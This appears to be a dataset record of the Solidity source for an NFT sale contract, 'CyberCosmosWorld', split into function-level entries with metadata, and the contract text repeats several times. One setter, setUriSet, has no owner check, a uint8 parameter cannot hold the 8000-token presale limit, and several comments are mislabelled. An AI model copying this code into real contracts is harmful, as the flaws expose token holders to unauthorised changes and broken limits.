_sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
preSaleMintVipPl
function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); }
/* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 6073, 6451 ] }
14,173
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
preSaleMintVipPl
function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); }
/* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 6686, 6893 ] }
14,174
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); 